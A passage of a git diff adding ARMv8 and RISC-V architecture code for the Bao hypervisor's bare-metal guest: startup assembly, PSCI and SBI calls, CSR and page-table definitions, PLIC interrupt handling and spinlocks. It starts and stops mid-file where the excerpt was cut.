ADDR, ADDR + L1_BLOCK_SIZE + .endr + + .balign PAGE_SIZE + +.global root_page_table +root_page_table: + .8byte (PTE_TABLE) + l1_page_table + .balign PAGE_SIZE \ No newline at end of file diff --git a/bao-baremetal-guest/src/arch/armv8/psci.c b/bao-baremetal-guest/src/arch/armv8/psci.c new file mode 100644 index 0000000..a09814c --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/psci.c @@ -0,0 +1,68 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include + +int smc_call(uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3) +{ + register uint64_t r0 asm("r0") = x0; + register uint64_t r1 asm("r1") = x1; + register uint64_t r2 asm("r2") = x2; + register uint64_t r3 asm("r3") = x3; + + asm volatile( + "smc #0\n" + : "=r" (r0) + : "r" (r0), "r" (r1), "r" (r2) + : "r3"); + + return r0; +} + +/* -------------------------------- + SMC PSCI interface +--------------------------------- */ + +uint64_t psci_version(void) +{ + return smc_call(PSCI_VERSION, 0, 0, 0); +} + + +uint64_t psci_cpu_suspend(uint64_t power_state, uintptr_t entrypoint, + uint64_t context_id) +{ + return smc_call(PSCI_CPU_SUSPEND_AARCH64, power_state, entrypoint, + context_id); +} + +uint64_t psci_cpu_off(void) +{ + return smc_call(PSCI_CPU_OFF, 0, 0, 0); +} + +uint64_t psci_cpu_on(uint64_t target_cpu, uintptr_t entrypoint, + uint64_t context_id) +{ + return smc_call(PSCI_CPU_ON_AARCH64, target_cpu, entrypoint, context_id); +} + +uint64_t psci_affinity_info(uint64_t target_affinity, + uint64_t lowest_affinity_level) +{ + return smc_call(PSCI_AFFINITY_INFO_AARCH64, target_affinity, + lowest_affinity_level, 0); +} diff --git a/bao-baremetal-guest/src/arch/armv8/sources.mk b/bao-baremetal-guest/src/arch/armv8/sources.mk new file mode 100644 index 0000000..9a29c1d --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/sources.mk @@ -0,0 +1,8 @@ +arch_c_srcs:= init.c psci.c irq.c timer.c +arch_s_srcs:= exceptions.S page_tables.S start.S + +ifeq ($(GIC_VERSION),GICV3) + arch_c_srcs+=gicv3.c +else + arch_c_srcs+=gicv2.c +endif diff --git a/bao-baremetal-guest/src/arch/armv8/start.S b/bao-baremetal-guest/src/arch/armv8/start.S new file mode 100644 index 0000000..da807f5 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/start.S @@ -0,0 +1,106 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include "sysregs.h" + +#define STACK_SIZE 0x4000 + +.section .start, "ax" +.global _start +_start: + mrs x0, MPIDR_EL1 + and x0, x0, MPIDR_CPU_MASK + + adr x1, _exception_vector + msr VBAR_EL1, x1 + + ldr x1, =MAIR_EL1_DFLT + msr MAIR_EL1, x1 + + ldr x1, =0x0000000000802510 + msr TCR_EL1, x1 + + adr x1, root_page_table + msr TTBR0_EL1, x1 + + // Enable floating point + mov x1, #(3 << 20) + msr CPACR_EL1, x1 + + //TODO: invalidate caches, bp, .. ? + + tlbi vmalle1 + dsb nsh + isb + + ldr x1, =(SCTLR_RES1 | SCTLR_M | SCTLR_C | SCTLR_I) + msr SCTLR_EL1, x1 + + tlbi vmalle1 + dsb nsh + isb + + cbnz x0, 1f + + ldr x16, =__bss_start + ldr x17, =__bss_end + bl clear + + .pushsection .data + .align 3 +wait_flag: + .dword 0x0 + .popsection + + adr x1, wait_flag + mov x2, #1 + str x2, [x1] + +1: + adr x1, wait_flag + ldr x2, [x1] + cbz x2, 1b + + mov x3, #SPSel_SP + msr SPSEL, x3 + + adr x1, _stack_base + ldr x2, =STACK_SIZE + add x1, x1, x2 +#ifndef SINGLE_CORE + madd x1, x0, x2, x1 +#endif + mov sp, x1 + + //TODO: other c runtime init (ctors, etc...) + + b _init + b _exit + +.global psci_wake_up +psci_wake_up: + b . + + .func clear +clear: +2: + cmp x16, x17 + b.ge 1f + str xzr, [x16], #8 + b 2b +1: + ret +.endfunc diff --git a/bao-baremetal-guest/src/arch/armv8/timer.c b/bao-baremetal-guest/src/arch/armv8/timer.c new file mode 100644 index 0000000..c367ac4 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/timer.c @@ -0,0 +1,16 @@ +#include +#include + +uint64_t TIMER_FREQ; + +void timer_set(uint64_t n) +{ + uint64_t current = MRS(CNTVCT_EL0); + MSR(CNTV_CVAL_EL0, current + n); +} + +uint64_t timer_get() +{ + uint64_t time = MRS(CNTVCT_EL0); + return time; // assumes plat_freq = 100MHz +} diff --git a/bao-baremetal-guest/src/arch/riscv/arch.mk b/bao-baremetal-guest/src/arch/riscv/arch.mk new file mode 100644 index 0000000..95e0deb --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/arch.mk @@ -0,0 +1,6 @@ +CROSS_COMPILE ?= riscv64-unknown-elf- +ARCH_GENERIC_FLAGS = -mcmodel=medany -march=rv64imac -mabi=lp64 +ARCH_ASFLAGS = +ARCH_CFLAGS = +ARCH_CPPFLAGS = +ARCH_LDFLAGS = --specs=nano.specs diff --git a/bao-baremetal-guest/src/arch/riscv/exceptions.c b/bao-baremetal-guest/src/arch/riscv/exceptions.c new file mode 100644 index 0000000..cd8b650 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/exceptions.c @@ -0,0 +1,30 @@ +#include +#include +#include +#include +#include + +static bool is_external(uint64_t cause) { + switch(cause) { + case SCAUSE_CODE_SEI: + case SCAUSE_CODE_UEI: + return true; + default: + return false; + } +} + +__attribute__((interrupt("supervisor"), aligned(4))) +void exception_handler(){ + + uint64_t scause = CSRR(scause); + if(is_external(scause)) { + plic_handle(); + } else { + uint64_t id = (scause & ~(1ull << 63)) + 1024; + irq_handle(id); + if(id == IPI_IRQ_ID) { + CSRC(sip, SIP_SSIE); + } + } +} diff --git a/bao-baremetal-guest/src/arch/riscv/inc/arch/irq.h b/bao-baremetal-guest/src/arch/riscv/inc/arch/irq.h new file mode 100644 index 0000000..3d09481 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/arch/irq.h @@ -0,0 +1,10 @@ +#ifndef ARCH_IRQ_H +#define ARCH_IRQ_H + +#define IPI_IRQ_ID (1025) +#define TIMER_IRQ_ID (1029) + +#define IRQ_NUM (1030) +#define IRQ_MAX_PRIO (-1) + +#endif /* ARCH_IRQ_H */ diff --git a/bao-baremetal-guest/src/arch/riscv/inc/arch/timer.h b/bao-baremetal-guest/src/arch/riscv/inc/arch/timer.h new file mode 100644 index 0000000..e878658 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/arch/timer.h @@ -0,0 +1,8 @@ +#ifndef ARCH_TIMER_H +#define ARCH_TIMER_H + +#include + +#define TIMER_FREQ (PLAT_TIMER_FREQ) + +#endif /* ARCH_TIMER_H */ diff --git a/bao-baremetal-guest/src/arch/riscv/inc/cpu.h b/bao-baremetal-guest/src/arch/riscv/inc/cpu.h new file mode 100644 index 0000000..0ceb619 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/cpu.h @@ -0,0 +1,18 @@ +#ifndef CPU_H +#define CPU_H + +#include +#include + +extern int primary_hart; + +static inline uint64_t get_cpuid(){ + register uint64_t hartid asm("tp"); + return hartid; +} + +static inline bool cpu_is_master(){ + return get_cpuid() == primary_hart; +} + +#endif diff --git a/bao-baremetal-guest/src/arch/riscv/inc/csrs.h b/bao-baremetal-guest/src/arch/riscv/inc/csrs.h new file mode 100644 index 0000000..700c17b --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/csrs.h @@ -0,0 +1,171 @@ +/** + * baohu separation kernel + * + * Copyright (c) Jose Martins, Sandro Pinto + * + * Authors: + * Jose Martins + * + * baohu is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __ARCH_CSR_H__ +#define __ARCH_CSR_H__ + +#define RV64 (__riscv_xlen == 64) +#define RV32 (__riscv_xlen == 32) + +#if(!(RV64)) + #error "Unsupported __riscv_xlen #__riscv_xlen." +#endif + +#if(RV64) + #define LOAD ld + #define STORE sd + #define REGLEN (8) +#elif(RV32) + #define LOAD lw + #define STORE sw + #define REGLEN (4) +#endif + +#if(RV64) + #define BAO_VAS_BASE (0xffffffc000000000) + #define BAO_CPU_BASE (0xffffffc040000000) + #define BAO_VM_BASE (0xffffffe000000000) + #define BAO_VAS_TOP (0xfffffff000000000) +#elif(RV32) + #define BAO_VAS_BASE (0xc0000000) + #define BAO_CPU_BASE (0x00000000) + #define BAO_VM_BASE (0x00000000) + #define BAO_VAS_TOP (0xffffffff) +#endif + +#define REG_RA (1) +#define REG_SP (2) +#define REG_GP (3) +#define REG_TP (4) +#define REG_T0 (5) +#define REG_T1 (6) +#define REG_T2 (7) +#define REG_S0 (8) +#define REG_S1 (9) +#define REG_A0 (10) +#define REG_A1 (11) +#define REG_A2 (12) +#define REG_A3 (13) +#define REG_A4 (14) +#define REG_A5 (15) +#define REG_A6 (16) +#define REG_A7 (17) +#define REG_S2 (18) +#define REG_S3 (19) +#define REG_S4 (20) +#define REG_S5 (21) +#define REG_S6 (22) +#define REG_S7 (23) +#define REG_S8 (24) +#define REG_S9 (25) +#define REG_S10 (26) +#define REG_S11 (27) +#define REG_T3 (28) +#define REG_T4 (29) +#define REG_T5 (30) +#define REG_T6 (31) + +#define PRIV_U (0) +#define PRIV_S (1) +#define PRIV_M (3) + +#define CSR_STR(s) #s + +#define STVEC_MODE_OFF (0) +#define STVEC_MODE_LEN (2) +#define STVEC_MODE_MSK BIT_MASK(STVEC_MODE_OFF, STVEC_MODE_LEN) +#define STVEC_MODE_DIRECT (0) +#define STVEC_MODE_VECTRD (1) + +#if(RV64) + #define SATP_MODE_OFF (60) + #define SATP_MODE_DFLT SATP_MODE_39 + #define SATP_ASID_OFF (44) + #define SATP_ASID_LEN (16) +#elif(RV32) + #define SATP_MODE_OFF (31) + #define SATP_MODE_DFLT SATP_MODE_32 + #define SATP_ASID_OFF (22) + #define SATP_ASID_LEN (9) +#endif + +#define SATP_MODE_BARE (0ULL << SATP_MODE_OFF) +#define SATP_MODE_32 (1ULL << SATP_MODE_OFF) +#define SATP_MODE_39 (8ULL << SATP_MODE_OFF) +#define SATP_MODE_48 (9ULL << SATP_MODE_OFF) +#define SATP_ASID_MSK BIT_MASK(SATP_ASID_OFF,SATP_ASID_LEN) + +#define SSTATUS_UIE (1ULL << 0) +#define SSTATUS_SIE (1ULL << 1) +#define SSTATUS_UPIE (1ULL << 4) +#define SSTATUS_SPIE (1ULL << 5) +#define SSTATUS_SPP (1ULL << 8) + +#define SIE_USIE (1ULL << 0) +#define SIE_SSIE (1ULL << 1) +#define SIE_UTIE (1ULL << 4) +#define SIE_STIE (1ULL << 5) +#define SIE_UEIE (1ULL << 8) +#define SIE_SEIE (1ULL << 9) + +#define SIP_USIE SIE_USIE +#define SIP_SSIE SIE_SSIE +#define SIP_UTIE SIE_UTIE +#define SIP_STIE SIE_STIE +#define SIP_UEIE SIE_UEIE +#define SIP_SEIE SIE_SEIE + +#define SCAUSE_INT_BIT (1ULL << ((REGLEN*8)-1)) +#define SCAUSE_CODE_MSK (SCAUSE_INT_BIT-1) +#define SCAUSE_CODE_USI (0 | SCAUSE_INT_BIT) +#define SCAUSE_CODE_SSI (1 | SCAUSE_INT_BIT) +#define SCAUSE_CODE_UTI (4 | SCAUSE_INT_BIT) +#define SCAUSE_CODE_STI (5 | SCAUSE_INT_BIT) +#define SCAUSE_CODE_UEI (8 | SCAUSE_INT_BIT) +#define SCAUSE_CODE_SEI (9 | SCAUSE_INT_BIT) +#define SCAUSE_CODE_IAM (0) +#define SCAUSE_CODE_IAF (1) +#define SCAUSE_CODE_ILI (2) +#define SCAUSE_CODE_BKP (3) +#define SCAUSE_CODE_LAM (4) +#define SCAUSE_CODE_LAF (5) +#define SCAUSE_CODE_SAM (6) +#define SCAUSE_CODE_SAF (7) +#define SCAUSE_CODE_ECU (8) +#define SCAUSE_CODE_ECS (9) +#define SCAUSE_CODE_ECV (10) +#define SCAUSE_CODE_IPF (12) +#define SCAUSE_CODE_LPF (13) +#define SCAUSE_CODE_SPF (15) + +#define CSR_STR(s) #s + +#define CSRR(csr) \ + ({ \ + uint64_t _temp; \ + asm volatile("csrr %0, " CSR_STR(csr) "\n\r" \ + : "=r"(_temp)::"memory"); \ + _temp; \ + }) + +#define CSRW(csr, rs) \ + asm volatile("csrw " CSR_STR(csr) ", %0\n\r" ::"rK"(rs) : "memory") +#define CSRS(csr, rs) \ + asm volatile("csrs " CSR_STR(csr) ", %0\n\r" ::"rK"(rs) : "memory") +#define CSRC(csr, rs) \ + asm volatile("csrc " CSR_STR(csr) ", %0\n\r" ::"rK"(rs) : "memory") + + +#endif /* __ARCH_CSRS_H__ */ diff --git a/bao-baremetal-guest/src/arch/riscv/inc/fences.h b/bao-baremetal-guest/src/arch/riscv/inc/fences.h new file mode 100644 index 0000000..979e4c0 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/fences.h @@ -0,0 +1,48 @@ +/** + * Bao Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ +#ifndef __FENCES_ARCH_H__ +#define __FENCES_ARCH_H__ + +static inline void fence_ord_write() +{ + asm volatile("fence w, rw\n\t" ::: "memory"); +} + +static inline void fence_ord_read() +{ + asm volatile("fence r, rw\n\t" ::: "memory"); +} + +static inline void fence_ord() +{ + asm volatile("fence rw, rw\n\t" ::: "memory"); +} + +static inline void fence_sync_write() +{ + asm volatile("fence ow, iorw\n\t" ::: "memory"); +} + +static inline void fence_sync_read() +{ + asm volatile("fence ir, iorw\n\t" ::: "memory"); +} + +static inline void fence_sync() +{ + asm volatile("fence iorw, iorw\n\t" ::: "memory"); +} + +#endif /* __FENCES_ARCH_H__ */ \ No newline at end of file diff --git a/bao-baremetal-guest/src/arch/riscv/inc/idma.h b/bao-baremetal-guest/src/arch/riscv/inc/idma.h new file mode 100644 index 0000000..ffe7fd4 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/idma.h @@ -0,0 +1,77 @@ +/* + * Copyright (c) 2021-2022 ETH Zurich and University of Bologna + * Copyright and related rights are licensed under the Solderpad Hardware + * License, Version 0.51 (the "License"); you may not use this file except in + * compliance with the License. You may obtain a copy of the License at + * http://solderpad.org/licenses/SHL-0.51. Unless required by applicable law + * or agreed to in writing, software, hardware and materials distributed under + * this License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR + * CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + * + * Author: Andreas Kuster + * Description: Generated register defines for dma_frontend + */ + +#ifndef _DMA_FRONTEND_REG_DEFS_ +#define _DMA_FRONTEND_REG_DEFS_ + +#ifdef __cplusplus +extern "C" { +#endif + +#define DMA_BASE(idx) (0x50000000 + (idx * 0x1000)) // iDMA + +// Register width +#define DMA_FRONTEND_PARAM_REG_WIDTH 64 + +// Source Address +#define DMA_FRONTEND_SRC_ADDR_REG_OFFSET 0x0 +#define DMA_FRONTEND_SRC_ADDR_REG_RESVAL 0x0 + +// Destination Address +#define DMA_FRONTEND_DST_ADDR_REG_OFFSET 0x8 +#define DMA_FRONTEND_DST_ADDR_REG_RESVAL 0x0 + +// Number of bytes +#define DMA_FRONTEND_NUM_BYTES_REG_OFFSET 0x10 +#define DMA_FRONTEND_NUM_BYTES_REG_RESVAL 0x0 + +// Configuration Register for DMA settings +#define DMA_FRONTEND_CONF_REG_OFFSET 0x18 +#define DMA_FRONTEND_CONF_REG_RESVAL 0x0 +#define DMA_FRONTEND_CONF_DECOUPLE_BIT 0 +#define DMA_FRONTEND_CONF_DEBURST_BIT 1 +#define DMA_FRONTEND_CONF_SERIALIZE_BIT 2 + +// DMA Status +#define DMA_FRONTEND_STATUS_REG_OFFSET 0x20 +#define DMA_FRONTEND_STATUS_REG_RESVAL 0x0 +#define DMA_FRONTEND_STATUS_BUSY_BIT 0 + +// Next ID, launches transfer, returns 0 if transfer not set up properly. +#define DMA_FRONTEND_NEXT_ID_REG_OFFSET 0x28 +#define DMA_FRONTEND_NEXT_ID_REG_RESVAL 0x0 + +// Get ID of finished transactions. +#define DMA_FRONTEND_DONE_REG_OFFSET 0x30 +#define DMA_FRONTEND_DONE_REG_RESVAL 0x0 + +// Wired interrupts to signal R/W completion +#define DMA_FRONTEND_IPSR_REG_OFFSET 0x38 +#define DMA_FRONTEND_IPSR_REG_RESVAL 0x0 + +// iDMA base physical address +#define DMA_SRC_ADDR(idx) (DMA_BASE(idx) + DMA_FRONTEND_SRC_ADDR_REG_OFFSET) +#define DMA_DST_ADDR(idx) (DMA_BASE(idx) + DMA_FRONTEND_DST_ADDR_REG_OFFSET) +#define DMA_NUMBYTES_ADDR(idx) (DMA_BASE(idx) + DMA_FRONTEND_NUM_BYTES_REG_OFFSET) +#define DMA_CONF_ADDR(idx) (DMA_BASE(idx) + DMA_FRONTEND_CONF_REG_OFFSET) +#define DMA_STATUS_ADDR(idx) (DMA_BASE(idx) + DMA_FRONTEND_STATUS_REG_OFFSET) +#define DMA_NEXTID_ADDR(idx) (DMA_BASE(idx) + DMA_FRONTEND_NEXT_ID_REG_OFFSET) +#define DMA_DONE_ADDR(idx) (DMA_BASE(idx) + DMA_FRONTEND_DONE_REG_OFFSET) +#define DMA_IPSR_ADDR(idx) (DMA_BASE(idx) + DMA_FRONTEND_IPSR_REG_OFFSET) + +#ifdef __cplusplus +} // extern "C" +#endif +#endif // _DMA_FRONTEND_REG_DEFS_ diff --git a/bao-baremetal-guest/src/arch/riscv/inc/page_tables.h b/bao-baremetal-guest/src/arch/riscv/inc/page_tables.h new file mode 100644 index 0000000..3b114b8 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/page_tables.h @@ -0,0 +1,47 @@ +#ifndef PAGE_TABLES_H +#define PAGE_TABLES_H + +#define PAGE_SIZE 0x1000ULL +#define PT_SIZE (PAGE_SIZE) +#define PAGE_ADDR_MSK (~(PAGE_SIZE - 1)) +#define PAGE_SHIFT (12) +#define SUPERPAGE_SIZE(N) ((PAGE_SIZE) << (((2-N))*9)) + +#define PT_LVLS (3) // assumes sv39 for rv64 +#define PTE_INDEX_SHIFT(LEVEL) ((9 * (PT_LVLS - 1 - (LEVEL))) + 12) +#define PTE_ADDR_MSK BIT_MASK(12, 44) + +#define PTE_INDEX(LEVEL, ADDR) (((ADDR) >> PTE_INDEX_SHIFT(LEVEL)) & (0x1FF)) +#define PTE_FLAGS_MSK BIT_MASK(0, 8) + +#define PTE_VALID (1ULL << 0) +#define PTE_READ (1ULL << 1) +#define PTE_WRITE (1ULL << 2) +#define PTE_EXECUTE (1ULL << 3) +#define PTE_USER (1ULL << 4) +#define PTE_GLOBAL (1ULL << 5) +#define PTE_ACCESS (1ULL << 6) +#define PTE_DIRTY (1ULL << 7) + +#define PTE_V PTE_VALID +#define PTE_AD (PTE_ACCESS | PTE_DIRTY) +#define PTE_U PTE_USER +#define PTE_R (PTE_READ) +#define PTE_RW (PTE_READ | PTE_WRITE) +#define PTE_X (PTE_EXECUTE) +#define PTE_RX (PTE_READ | PTE_EXECUTE) +#define PTE_RWX (PTE_READ | PTE_WRITE | PTE_EXECUTE) + +#define PTE_RSW_OFF 8 +#define PTE_RSW_LEN 2 +#define PTE_RSW_MSK BIT_MASK(PTE_RSW_OFF, PTE_RSW_LEN) + +#define PTE_TABLE (0) +#define PTE_PAGE (PTE_RWX) +#define PTE_SUPERPAGE (PTE_PAGE) + +typedef uint64_t pte_t; + +void pt_init(); + +#endif /* PAGE_TABLES_H */ diff --git a/bao-baremetal-guest/src/arch/riscv/inc/plic.h b/bao-baremetal-guest/src/arch/riscv/inc/plic.h new file mode 100644 index 0000000..58555b6 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/plic.h @@ -0,0 +1,62 @@ +/** + * baohu separation kernel + * + * Copyright (c) Jose Martins, Sandro Pinto + * + * Authors: + * Jose Martins + * + * baohu is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __PLIC_H__ +#define __PLIC_H__ + +#include +#include +#include + +#define PLIC_BASE (0xc000000) +#define PLIC_HART_BASE (PLIC_BASE+0x200000) + +#define PLIC_MAX_INTERRUPTS (1024) +#define PLIC_MAX_CONTEXTS (24) +#define PLIC_NUM_PRIO_REGS (PLIC_MAX_INTERRUPTS) +#define PLIC_NUM_PEND_REGS (PLIC_MAX_INTERRUPTS) +#define PLIC_NUM_ENBL_REGS (32) + +#define PLIC_ENBL_OFF (0x002000) +#define PLIC_CNTX_OFF (0x200000) + +typedef struct { + uint32_t prio[PLIC_NUM_PRIO_REGS]; + uint32_t pend[PLIC_NUM_PEND_REGS]; + uint32_t enbl[PLIC_MAX_CONTEXTS][PLIC_NUM_ENBL_REGS]; +} __attribute__((__packed__, aligned(0x1000))) plic_global_t ; + +#define PLIC_GLOBAL_SIZE(num_harts)\ + (((PLIC_NUM_PRIO_REGS+PLIC_NUM_PEND_REGS)*sizeof(uint32_t)) +\ + (num_harts*PLIC_NUM_ENBL_REGS)) + +typedef struct { + uint32_t threshold; + union { + uint32_t claim; + uint32_t complete; + }; + uint8_t res[0x1000-0x0008]; +} __attribute__((__packed__, aligned(0x1000))) plic_hart_t; + +extern volatile plic_global_t * plic_global; +extern volatile plic_hart_t *plic_hart; + +void plic_init(); +void plic_handle(); +void plic_enable_interrupt(int cntxt, int int_id, bool en); +void plic_set_prio(int int_id, int prio); + +#endif /* __PLIC_H__ */ diff --git a/bao-baremetal-guest/src/arch/riscv/inc/sbi.h b/bao-baremetal-guest/src/arch/riscv/inc/sbi.h new file mode 100644 index 0000000..efba233 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/sbi.h @@ -0,0 +1,79 @@ +#ifndef __SBI_H__ +#define __SBI_H__ + +#include + +/** + * From https://github.com/riscv/riscv-sbi-doc + */ + +#define SBI_SUCCESS (0) +#define SBI_ERR_FAILURE (-1) +#define SBI_ERR_NOT_SUPPORTED (-2) +#define SBI_ERR_INVALID_PARAM (-3) +#define SBI_ERR_DENIED (-4) +#define SBI_ERR_INVALID_ADDRESS (-5) +#define SBI_ERR_ALREADY_AVAILABLE (-6) + +struct sbiret { + long error; + long value; +}; + +void sbi_console_putchar(int ch); + +struct sbiret sbi_get_spec_version(void); +struct sbiret sbi_get_impl_id(void); +struct sbiret sbi_get_impl_version(void); +struct sbiret sbi_probe_extension(long extension_id); +struct sbiret sbi_get_mvendorid(void); +struct sbiret sbi_get_marchid(void); +struct sbiret sbi_get_mimpid(void); + +struct sbiret sbi_send_ipi(const unsigned long hart_mask, + unsigned long hart_mask_base); + +struct sbiret sbi_set_timer(uint64_t stime_value); + +struct sbiret sbi_remote_fence_i(const unsigned long hart_mask, + unsigned long hart_mask_base); + +struct sbiret sbi_remote_sfence_vma(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size); + +struct sbiret sbi_remote_sfence_vma_asid(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size, + unsigned long asid); + +struct sbiret sbi_remote_hfence_gvma_vmid(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size, + unsigned long vmid); + +struct sbiret sbi_remote_hfence_gvma(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size); + +struct sbiret sbi_remote_hfence_vvma_asid(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size, + unsigned long asid); + +struct sbiret sbi_remote_hfence_vvma(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size); + +struct sbiret sbi_hart_start(unsigned long hartid, unsigned long start_addr, + unsigned long priv); +struct sbiret sbi_hart_stop(); +struct sbiret sbi_hart_status(unsigned long hartid); + +#endif /* __SBI_H__ */ diff --git a/bao-baremetal-guest/src/arch/riscv/inc/spinlock.h b/bao-baremetal-guest/src/arch/riscv/inc/spinlock.h new file mode 100644 index 0000000..99412ff --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/spinlock.h @@ -0,0 +1,50 @@ +/** + * baohu separation kernel + * + * Copyright (c) Jose Martins, Sandro Pinto + * + * Authors: + * Jose Martins + * + * baohu is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __ARCH_SPINLOCK__ +#define __ARCH_SPINLOCK__ + +#include + +typedef volatile uint32_t spinlock_t __attribute__((aligned(4))); + +#define SPINLOCK_INITVAL (0) + +static inline void spin_lock(spinlock_t* lock){ + + int const ONE = 1; + spinlock_t tmp = SPINLOCK_INITVAL; + + asm volatile ( + "1:\n\t" + "lr.w.aq %0, %1 \n\t" + "bne %0, zero, 1b \n\t" + "sc.w.rl %0, %2, %1 \n\t" + "bne %0, zero, 1b \n\t" + : "=&r"(tmp), "+m"(*lock) + : "r"(ONE) + ); + +} + +static inline void spin_unlock(spinlock_t* lock){ + + asm volatile ( + "sw zero, %0\n\t" + "fence rw, rw\n\t" //Is the full blown barrier really needed? + :: "m"(*lock)); +} + +#endif /* __ARCH_SPINLOCK__ */ diff --git a/bao-baremetal-guest/src/arch/riscv/inc/wfi.h b/bao-baremetal-guest/src/arch/riscv/inc/wfi.h new file mode 100644 index 0000000..4e6d1ba --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/inc/wfi.h @@ -0,0 +1,8 @@ +#ifndef WFI_H +#define WFI_H + +static inline void wfi(){ + asm volatile("wfi\n\t" ::: "memory"); +} + +#endif \ No newline at end of file diff --git a/bao-baremetal-guest/src/arch/riscv/init.c b/bao-baremetal-guest/src/arch/riscv/init.c new file mode 100644 index 0000000..79dd934 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/init.c @@ -0,0 +1,26 @@ +#include +#include +#include +#include +#include +#include + +#include + +extern void _start(); + +__attribute__((weak)) +void arch_init(){ +#ifndef SINGLE_CORE + uint64_t hart_id = get_cpuid(); + struct sbiret ret = (struct sbiret){ .error = SBI_SUCCESS }; + size_t i = 0; + do { + if(i == hart_id) continue; + ret = sbi_hart_start(i, (unsigned long) &_start, 0); + } while(i++, ret.error == SBI_SUCCESS); +#endif + plic_init(); + CSRS(sie, SIE_SEIE); + CSRS(sstatus, SSTATUS_SIE); +} diff --git a/bao-baremetal-guest/src/arch/riscv/irq.c b/bao-baremetal-guest/src/arch/riscv/irq.c new file mode 100644 index 0000000..4eb6ffa --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/irq.c @@ -0,0 +1,23 @@ +#include +#include +#include +#include +#include + +void irq_enable(unsigned id) { + if (id == TIMER_IRQ_ID) { + CSRS(sie, SIE_STIE); + } else if (id == IPI_IRQ_ID) { + CSRS(sie, SIE_SSIE); + } else if (id < 1024){ + plic_enable_interrupt(get_cpuid(), id, true); + } +} + +void irq_set_prio(unsigned id, unsigned prio) { + plic_set_prio(id, prio); +} + +void irq_send_ipi(uint64_t target_cpu_mask) { + sbi_send_ipi(target_cpu_mask, 0); +} diff --git a/bao-baremetal-guest/src/arch/riscv/plic.c b/bao-baremetal-guest/src/arch/riscv/plic.c new file mode 100644 index 0000000..0fe5b51 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/plic.c @@ -0,0 +1,82 @@ +/** + * baohu separation kernel + * + * Copyright (c) Jose Martins, Sandro Pinto + * + * Authors: + * Jose Martins + * + * baohu is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include +#include +#include +#include + +#include + +#define PRIV_U (0) +#define PRIV_S (1) +#define PRIV_M (3) + +volatile plic_global_t * plic_global = (void*) PLIC_BASE; +volatile plic_hart_t *plic_hart = (void*) PLIC_HART_BASE; + +void plic_probe(){ + uint32_t *ptr = (void*) plic_global->enbl; + + for(int i = 0; i < 512; i++){ + *ptr++ = i; + } +} + +static int plic_hartidpriv_to_context(int hartid, int mode){ + if(mode != PRIV_M && mode != PRIV_S) return -1; + return (hartid*2) + (mode == PRIV_M ? 0 : 1); +} + +void plic_init(){ + int cntxt = plic_hartidpriv_to_context(get_cpuid(), PRIV_S); + plic_hart[cntxt].threshold = 0; +} + +void plic_enable_interrupt(int hid, int int_id, bool en){ + + int reg_ind = int_id/(sizeof(uint32_t)*8); + uint32_t mask = 1U << (int_id%(sizeof(uint32_t)*8)); + + int cntxt = plic_hartidpriv_to_context(hid, PRIV_S); + if(cntxt < 0) return; + + if(en){ + 